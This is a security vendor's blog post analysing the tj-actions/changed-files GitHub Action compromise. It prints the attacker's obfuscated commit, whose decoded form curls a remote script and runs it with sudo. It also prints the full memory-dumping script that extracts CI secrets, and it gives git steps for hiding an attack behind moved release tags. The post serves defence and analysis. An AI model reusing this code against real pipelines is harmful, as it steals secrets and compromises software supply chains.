Reconstructing the TJ Actions Changed Files GitHub Actions Compromise
2025年3月17日
16 分で読めますIn the afternoon on Friday, March 14, 2025, details began to emerge about a serious security exploit on a popular GitHub Action called changed files (tj-actions/changed-files). About 23,000 GitHub repos use this Action as part of their CI and DevOps workflows. It allows you to track which files have changed across branches and commits.
An attacker with write privileges on the Action repo made a commit that caused encrypted secrets to appear in plaintext in the GitHub Action logs. This could lead to a devastating breach on a public repo where the Action logs are also public.
First, we want to assure our customer base that Snyk has completed an assessment of our infrastructure, and we can confirm that we’re not using an impacted version of the vulnerable library. Therefore, Snyk is secure against this vulnerability.
Having said that, we’d like to provide some insight into the in-depth analysis of the vulnerability done by Snyk, how it works, and logical remediation steps, which are the focus of this blog.
As of this writing, it’s unknown why the attacker had write permissions on the repo that houses this GitHub Action code. But, the key enabling factors for this attack beyond just having write permissions were as follows:
Changing existing release tags to point to the attack commit
Having the attack commit orphaned from any branches, including the main branch
These factors added a bit of obfuscation to hide the attack. The attack relied on making an external network call to pull down the attack code, which ultimately led to it being noticed by services that monitor anomalous network activity.
Toward the end of this post, I recreate the attack (in a non-harmful way) so you can better understand how it was possible and how to protect against it.
On orphaned Git commits
Try this as an exercise. Create a new repo on GitHub and clone it locally. Create a branch and push it up to GitHub. Make a note of the commit hash. Then, delete the remote branch. You can still navigate to that commit, even though it is no longer associated with any existing branch.
Here are the steps outlined above:
1. Create a repo on GitHub
2. Create a local repo and add the GitHub remote you just created
echo "# orhpan-branch-test" >> README.md
git init
git add README.md
git commit -m "first commit"
git branch -M main
git remote add origin git@github.com:dogeared/orhpan-branch-test.git
git push -u origin main
3. Create a branch
git checkout -b orphan
4. Add a commit and push it up
echo hello > hello.txt
git add -A .
git commit -m "hello"
git push origin orphan
5. Note the commit on GitHub
https://github.com/dogeared/orhpan-branch-test/commit/c7e359462f6afc144d7b4da6eb277d0338c675c9

6. Delete the branch on GitHub

7. Browse to the URL of the commit you captured above

This is what an orphaned branch looks like. It is one of the key enabling factors in exploiting the changes-files
GitHub Action workflow.
The other key enabling factor was moving release tags around the repository.
On GitHub Release tags
Unfortunately, developers sometimes assign some magical thinking to release tags on GitHub. If we’re told to use v35
of a particular release, we reference that tag and assume that’s what we’ll be getting. Under normal circumstances, that is a reasonable assumption but GitHub tags are just convenient strings pointing to a particular commit - no magic, even with diligent semantic versioning. Here’s a partial example of a GitHub Action YAML file that references the changes-files
Action:
name: "tj-action changed-files"
on:
pull_request:
branches:
- main
permissions:
pull-requests: read
jobs:
changed_files:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v35
The critical bit is the very last line, where a particular tag of the GitHub Action repo is referenced. The attacker deleted the original version tags and relocated them to the malicious commit, which was the orphaned commit. The attacker re-pointed several existing release tags to their malicious commit, thereby deepening the attack's impact.
I can demonstrate this by continuing with the previous example. On my local machine, I will tag the branch I have been working on:
git tag v35
git push --tags
What’s happening on GitHub is that a tag is now associated with the orphaned commit. I can browse to:
https://github.com/dogeared/orhpan-branch-test/tree/v35
I then see this:

Thus, the attacker could “point” people to the malicious commit simply by updating the changed-files
GitHub Action code's repo.
The bottom line is that a malicious actor had write access to a repo that 23,000 other repos relied on. While the attacker devised a clever way to obfuscate their activity, they never would have been able to accomplish the attack without the write access.
Let’s look a little closer at what the attacker was after.
On Leaking Secrets
Secrets are often required for building scripts to interact with other services or to provide necessary keys for building and running tests.
GitHub has a sophisticated encryption scheme for managing secrets. You can set a secret on the git repository level and access that secret in your build script without the secret ever appearing in the build log or being leaked. Behind the scenes, GitHub decrypts and uses the secret as a reference in your build script. In practice, your GitHub Action YAML file may have a line that looks something like this:
steps:
- name: Hello world action
with: # Set the secret as an input
super_secret: ${{ secrets.SuperSecret }}
The rest of the script now has access to the secret without needing to have it appear in the script itself or the logs.
The attacker altered TJ’s changed-files
GitHub Action to download a script from a remote location, save it to a local file on the virtual machine the GitHub Action was running on, and then execute that script. This was accomplished in two steps. The first step was the malicious, orphaned commit, which has since been deleted. Here is the key part of that git commit:
async function updateFeatures(token) {
const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
ignoreReturnCode: true,
silent: true
});
core.info(stdout);
}
If you apply a Base64 decoding on the long string above (as is done in the script), you get:
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
The gist referenced there has since been removed, but here is the Python script that was there:
#!/usr/bin/env python3
import os
import sys
import re
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
The above script, executed as root using the sudo
command, interrogates process memory to find the decrypted secrets and output them into the Actions log. This is very damaging as the GitHub Actions logs on public GitHub repositories are also public by design.
A post on Hacker News (found here) that dropped on March 14 indicated that the exploit had been caught by StepSecurity, a service that monitors unauthorized network calls in GitHub Actions (among other things). The author and maintainer of the popular GitHub Action added a comment on that post outlining what happened. The very first issue he identifies is that the attacker had write access to the repo.
Because of the swift discovery of the exploit and the responsiveness of the maintainer, the exploit was addressed and shut down very quickly. However, users of the changed-files
GitHub Action are advised to review their logs since March 14 to ensure no secrets have been leaked to a public Actions log.
The Exploit in Action
I created a set of repos to demonstrate this exploit configured as closely as possible to the attacker's setup.
The first Git repository is where the custom GitHub Action is defined: tj-changed-files-action-goof.
The index.js
file is straightforward and is primarily pulled from the GitHub tutorial on creating actions:
const core = require('@actions/core');
const github = require('@actions/github');
(async function run() {
try {
// `who-to-greet` input defined in action metadata file
const nameToGreet = core.getInput('who-to-greet');
console.log(`Hello ${nameToGreet}!`);
const time = (new Date()).toTimeString();
core.setOutput("time", time);
} catch (error) {
core.setFailed(error.message);
}
})();
It expects an input called who-to-greet
, and it will send the date and time to the output.
The other repo has only one file: a YAML file set to run the custom GitHub Action. It also has a secret set on the repo called A_SECRET
. The repo is called: tj-changed-files-action-exploit-goof. If you look at its .github/workflows/main.yml
, you see this:
name: CI
on:
"main" branch
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
workflow_dispatch:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run a one-line script
run: echo Hello, world!
- name: A Goof Step
id: goof
uses: snyk-labs/tj-changed-files-action-goof@v1.0
with:
a_secret: ${{ secrets.A_SECRET }}
who-to-greet: 'dogeared'
- name: Get the output time
run: echo "The time was ${{ steps.goof.outputs.time }}"
It’s doing a couple of things:
Outputting a Hello, world! Message
Executing the
tj-changed-files-action-goof
GitHub ActionOutputting the time from the Action. It’s also using the repo secret in the expected way in a GitHub Action.
Compare the output of A Goof Step
from two different runs. First, this one:
Run snyk-labs/tj-changed-files-action-goof@v1.0
with:
a_secret: ***
who-to-greet: dogeared
Hello dogeared!
Next, this one:
Run snyk-labs/tj-changed-files-action-goof@v1.0
with:
a_secret: ***
who-to-greet: dogeared
SWtGZlUwVkRVa1ZVSWpwN0luWmhiSFZsSWpvaVUzVndaWElnVTJWamNtVjBJRk5sWTNKbGRDRWlMQ0pwYzFObFkzSmxkQ0k2ZEhKMVpYMEs=
Hello dogeared!
In both cases, snyk-labs/tj-changed-files-action-goof@v1.0
is being run. In the second execution, you can see the output from the compromised GitHub Action. And, if we base64 decode the encoded string twice, you get:
"A_SECRET":{"value":"Super Secret Secret!","isSecret":true}
In both runs, you can see that GitHub Actions protects the secret value when referenced: a_secret: ***
. However, the exploit code plucks the secrets' plaintext values directly from system memory.
If we look back at the v1.0
tag of the tj-changed-files-action-goof repo, you’ll see a similar orphaned branch to the original exploit:

v1.0
pointed initially to the main
branch. But, in simulating the exploit, I simply re-pointed it to an attack
branch, which I then orphaned:
git push origin :v1.0 # delete the original tag on main
git tag -d v1.0 # delete the local tag
git checkout -b attack # create the attack branch
# update index.js to include the malicious code
ncc build index.js # create a new version of dist/index.js
git add dist/index.js
git commit -m "attack"
git push origin attack # push the attack branch up to GitHub
git tag v1.0 # put the v1.0 tag on the attack branch
git push origin --tags # push the v1.0 tag to GitHub
git push origin :attack
# ^^ DELETE the attack branch on GitHub making the v1.0 tag orphaned
The last bit of trickiness here—which is easy to overlook—is the ncc build index.js
. This updates the dist/index.js
, and only that updated file is committed. It’s the web-packed dist/index.js
file that the GitHub Action actually runs. So, if you look at the index.js
file on the (orphaned) v1.0 branch, it doesn’t look like anything has changed.
Here’s the diff of the dist/index.js
webpack code on v1.0
compared to the main
branch.
Take Action to Protect Your GitHub Actions
I’m sure more details will emerge on how or why the attacker had write access to this popular GitHub Action repo.
It’s common practice to rely on git tags as reference versions of various libraries we depend on.
There are a few ways that this particular exploit could have been avoided.
1. For custom, remote GitHub Actions, reference the commit hash directly
For instance, you could have:
uses: snyk-labs/tj-changed-files-action-goof@6eb82f8276131aa04985f48b1d74e020133e22e5
This references the commit hash directly rather than a tag. This is not common practice but would guarantee that the version of the custom GitHub Action that’s run is the version you expect.
2. Use additional custom GitHub Actions to flag unexpected network calls. This is how StepSecurity became aware of the exploit.
It’s heartening to see a community of open source contributors, companies, and individuals jump on finding and fixing new exploits when they emerge like this one.
Snyk has published prior research and best practices related to GitHub Actions that we highly encourage you to learn from and assess your DevSecOps and security practices around:
Call for action: Exploring vulnerabilities in Github Actions
Building a secure CI/CD pipeline with GitHub Actions for your Java Application
Explore the state of open source security
Understand current trends and approaches to open source software and supply chain security.